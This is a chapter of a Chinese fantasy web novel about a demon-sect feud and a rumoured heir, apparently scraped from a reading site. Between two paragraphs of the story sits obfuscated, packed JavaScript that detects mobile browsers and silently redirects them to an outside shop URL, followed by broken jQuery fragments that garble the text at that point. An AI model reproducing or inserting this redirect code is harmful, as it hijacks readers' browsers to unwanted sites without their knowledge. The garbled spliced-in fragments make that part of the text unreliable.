默认冷灰
24号文字
方正启体

16.旧仇新知

作者:灼云衣本书字数:K更新时间:
    “你把南极天的墓给毁了?现在好些个对南极天忠心耿耿的魔门更加不服你了,而南融月好歹也是正儿八经的魔教少主,是那老东西的亲儿子,你在南极天那些旧部看来,不过是个中途冒出来篡位的......”


    说话的正是那日在黑渊以分身来见镜玄光的鬼阴门门主。


    这魔域的魔修势力,除了魔教一家独大,还有不少依附魔教或选择归顺的大小魔门,鬼阴门便是其中实力最强的一支。


    镜玄光只是擦拭着手上沾血的双刀,寒光一闪,那紫衣人便觉得自己喉间发痒,就像是已经尸首分离了一般,他抬手摸了摸自己的脖子,有些心有余悸。


    不过他很快就露出了的笑容,就好像一切尽在掌握中。


    “我来这,自然是有重要的事要告知你,而且是关于南融月的。”


    果然,紫衣人这么说,那道锁定他的杀气消失了,也让他骤然一松。


    “说。”镜玄光冷冷道。


    紫衣人看了看这被人修复成跟原本别无二致的魔教主殿,在心里哂笑一声,这里除了暗了点,跟以前简直一模一样。


    不,还少了一样,少了那位红衣教主。


    “你怎么突然恨不得把南极天抓出来挫骨扬灰?那墓冢里什么都没有,他跟那位......一样,可是连尸首都没留下。”他说到这里感觉周围气氛阴冷不少,下意识咳了两声。


    “我就在想,你莫不是知道了什么。”


    镜玄光面无表情地看着他,突然伸出了手,掐住了对方的脖子,几乎把对方从地上提了起来。


    “我知道了什么?”


    镜玄光眯着眼睛,他见到教主那丝神念那一刻,跟对方对视的瞬间,就从那双眼睛里看见了其中倒映的影子。


    那处秘境本来就由那丝神念产生,而其中的一切也因其心念变化。


    那是一道镜玄光从未见过,却能从对方脸上同教主的那丝相似性,认出对方的身份的影子。


    南融月的父亲,南极天。


    而光是看见教主眼底那瞬间的恐惧流露,都足够他把南极天杀千遍万遍,就算对方还活着,他也要他死!


    教主的眼睛,从不会说谎。


    因为被掐住咽喉,紫衣人无法开口,只好传音。


    “你要这样,那我可什么都说不了。”


    镜玄光的手松开了,紫衣人把手按在喉间,喘了口气,“这件事我不能告诉你。”


    紫衣人刚说到这,那把刀就已经指着他的面门。


    那两把刀唤苦厄,镜玄光几乎带着从不离身,而这些年对方的刀下亡魂不知道有多少,只要凑近那两把刀仿佛都能听见凄厉的尖嚎。


    这镜玄光来魔教不过百年,而他作为鬼阴门的门主,可是在南极天还在世时,便已经是门主了,那段往事,他绝对比镜玄光这位后来者要熟悉。


    “如果我告诉你,我就会死,毕竟下了血誓。”紫衣人这种时候反而有心思笑了,露出了如刚才一般游刃有余的笑容,“而逼我下血誓的人,就是你的那位好教主,在这种事上,你难道还要忤逆他的命令?”


    可镜玄光依旧不为所动,他那双猩红的眸子落下来,紫衣人是真真切切从中感受到了杀意,紧接着对方低哑的声音像是从很远的地方传来,甚至对不上口型。


    紫衣人很快意识到,是自己的五感错乱了。


    而最后一段传递回本体的感受,那就是,分身已死。


    “你可以不说,教主......也并未命令我不能杀你。”


    对方最后这句话还回荡在紫衣人的脑海里,他猛地从自己倚靠着的软塌上坐了起来,一掌拍在了旁边的屏风上,那面用坚硬玉石雕刻成的屏风直接在他手上化为粉尘。


    “镜玄光......是你自己找死。”他眼里露出一丝狠辣之色,既然镜玄光那么不客气,那他不介意为魔域中两派斗争再添把火。


    他唤了一声守在门外的人,冷冷道:“把南融月在眷州留下了血脉的消息放出去,不计一切代价,最后要让修真界人尽皆知。”


    那人低声道:“门主,你这是要把镜玄光给引出去?”


    “不错。”紫衣人想到自己的计划,顿觉势在必得,也不计较自己的亲信多此一问了。


    “若是这镜玄光不上当怎么办?”


    “他一定会去的。”紫衣人冷冷道,然后露出了一丝诡异的笑容。这镜玄光自己恐怕都不知道他对南融月是一种什么心思。


    而南融月的后人,镜玄光若是知道这个消息,会依然如个忠仆一样保护主上留下的一丝血脉,还是气急败坏,怒火中烧,将对方杀之而后快。


    而不管是真是假,镜玄光都会去的。如今的镜玄光,杀性深重,无论是真是假,都会将对方斩于刀下。


    魔域中南极天一派的人,对镜玄光积怨已久,而在对方毁了南极天的墓冢后,这种怨愤到了顶峰,一定会接回南融月的血脉,扶持新的少主,绝不会承认镜玄光的地位。


    而正道若得知了这个消息,无论真假都会尽心尽力地促成此事,毕竟能将镜玄光引出来,可比围攻狡兔三窟的魔域,要省事稳妥得多。


    这眷州,就是镜玄光的葬身之地。谁让这镜玄光,能做到这般天怒人怨,正魔两道都容不得他。


    *


    南融月抱胸站在屋檐下,初春后一连下了几天雨,直到今天才停。


    他不想听段青琅拿着书在他耳边问这问那,也不想听段湘操心他的婚姻之事,十分干脆地出了门。


    桃李村就这么点大,南融月想了想,也许方圆百里也就百里兰臣这个药庐在他看来,有点看头。


    因为这百里兰臣就算来了人间界,也像是来享受的,在用度上,不会亏待自己,以他的眼力,倒是能看见不少雅致的宝贝。


    而且对方倒是有几天没在他面前晃悠,说不定已经回日月派了。


    因为对方的存在,他连调息这套动作都没有再做过,不得不说还真碍事。


    刚走到河边,他就隐约听到了医庐中传来的声音,而且还不止一个人。


    还有谁来了?


    南融月一点都没有偷听的负担,既然百里兰臣没有布下禁制,那也别怪一些东西被人听了去。


    而且他不过是一介凡人,他们修真界的事,他怎么会听得懂。


    “你说,南融月曾在眷州留下了血脉?”百里兰臣的声音依旧冷淡,听不出任何情绪。


    南融月听到这句脚步微微一顿,什么叫他留下了血脉?他吗?他跟谁?什么时候?


    继而便是后知后觉地回过神来,冷笑一声,这不是放狗屁吗?


    是哪个找死的东西,敢造他的谣。


    果然他还是死太早了。


    “你问我,你难道会不知道?”另一个人冷笑一声,这声音听着夹枪带棒的,阴阳怪气让人很不舒服。


    百里兰臣不知道察觉到了什么,顿了一下,朝着门口看了一眼,才道:“自然不知。”


    而站在他旁边的男人冷笑一声,一副不信的样子。


    “他心仪何人,同何人结为道侣,同何人双修,同何人诞下子嗣后人,与我有何干?”


    百里兰臣顶着这张面无表情的脸,说的话倒是十分露骨,甚至让游乘笑都哑口无言,只是冷冷地甩出一句,“最好如此。”


    游乘笑突然冷哼一声,右手一挥,医庐的门就像是被一阵无形的风推开,他厉声道:“谁在外面!鬼鬼祟祟的,给我滚出来!”


    南融月就站在门口,果然看到了另一个熟人,游乘笑。


    而对方左臂的袖子空空荡荡的,显然他当日留下的伤还没好,南融月还多看了几眼,满意地欣赏他的“杰作”。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087549|194098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    若他还是魔教教主,他恐怕还会好心提醒一下对方,不要轻易动怒,越是动怒这伤势好得越慢。


    只可惜如今的他不适合说这话。


    游乘笑感觉对方盯着他的断臂看,还未痊愈的伤口甚至又在隐隐作痛,让他的脸色更加阴郁,眼神也更加锐利不客气。


    若是换做常人恐怕早就回避他的视线了,而这凡人却像是感觉不到他的威慑,自顾自地走进了屋。


    “这是我的病人。”百里兰臣道。


    游乘笑冷笑:“你也就配跟这种乡野村夫混到一块了。”


    百里兰臣还没开口,南融月就盯着游乘笑上下看了看,才开口道:“白神医,你请的这个打杂的,脾气有点大啊,不知道的还以为他是主子。”


    游乘笑的脸色黑沉:“你说什么?谁是打杂的?”


    “你不是打杂的?”南融月仿佛这才回过神来,脸上多了几分歉意的神色,“方才我一进来,观你二人气度,误会了你的身份,毕竟在下一介乡野村夫,少了点识人眼力,还望见谅。”


    百里兰臣扫了一眼游乘笑时青时白时红的脸色,也不由得露出了一丝笑容。平时也不常见游乘笑这种吃瘪的样子。


    “游师兄,你如今有伤在身,还是要少动怒,引怒伤身,非明智之举。”


    游乘笑视线落在南融月身上看了几眼,然后才看向百里兰臣,“总之,师弟,你好自为之。”


    说完,他直接越过南融月朝医庐外走去。


    百里兰臣这才在桌前坐了下来,低声道:“你来找我有何事?”


    南融月抱胸站在一边,左右看了看,才说:“我自然是过来看看神医你还在不在,我可是日日盼着神医你去别处悬壶济世呢。”


    百里兰臣手上还握着一份竹简,没有分出视线给南融月,却还是问道:“你就那么不想活?”


    “只是奉劝神医你别在我身上白费功夫。”


    “看不出你还挺会为人考虑的。”


    “那你现在看出来也不迟。”


    百里兰臣终于抬头,手撑在桌上站了起来,走到了南融月面前。


    百里兰臣并未刻意把自己往大夫打扮,穿着打扮尽量往素了去搭配,可只要对方不易容,顶着着这张好像只喝露水的脸,就很难融入人间界。


    南融月还不明白对方要做什么,想着方才对方跟游乘笑两人的对话,虽然他说自己不关心修真界如何,可想到有人竟然造谣他孩子都有了,不免有些在意。


    正想着应该怎么去套点话,就被人突然捏住了脸。


    准确点说是被眼前这位神医捏住了脸颊两端,而微凉的手掌也盖在了他微微张开的唇上。


    南融月感觉到有一颗像是药丸一样的东西,直接被塞进了他嘴里,以一种不容拒绝的姿态,如液体一般,被他吞了下去。


    “......你干什么?”


    南融月眼神冷了下来,直接把对方推开,皱着眉,发现随着那颗药丸入体,其中的一丝灵气从其中逸散出来,流转于体内,确实有一点压制寒症的作用。


    不过给凡人用这种药,十分冒险,可能只是这点灵气入体,可能都会出现爆体而亡的情况,毕竟凡人之躯消化不了灵药的药效。


    如今,就像是那份药效,被什么东西调和了一样。


    之前断了游乘笑一臂,还能截住日月派的传信秘术,他对日月派的功法也稍微有点了解,同昆吾派不同,不讲五行生克之术,而讲究平衡与阴阳调和。


    这调和药效的方式,究其根本,与之似是同出一源。


    “药,熬成的你不喝,那就只能换种方式。”百里兰臣的语气,就好像在说今天天晴,明天下雨一样稀松平常。


    可对方只言片语里,却在某一瞬间展现出了一种跟那副与世无争温文尔雅的形象,截然不同的反骨与强硬。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)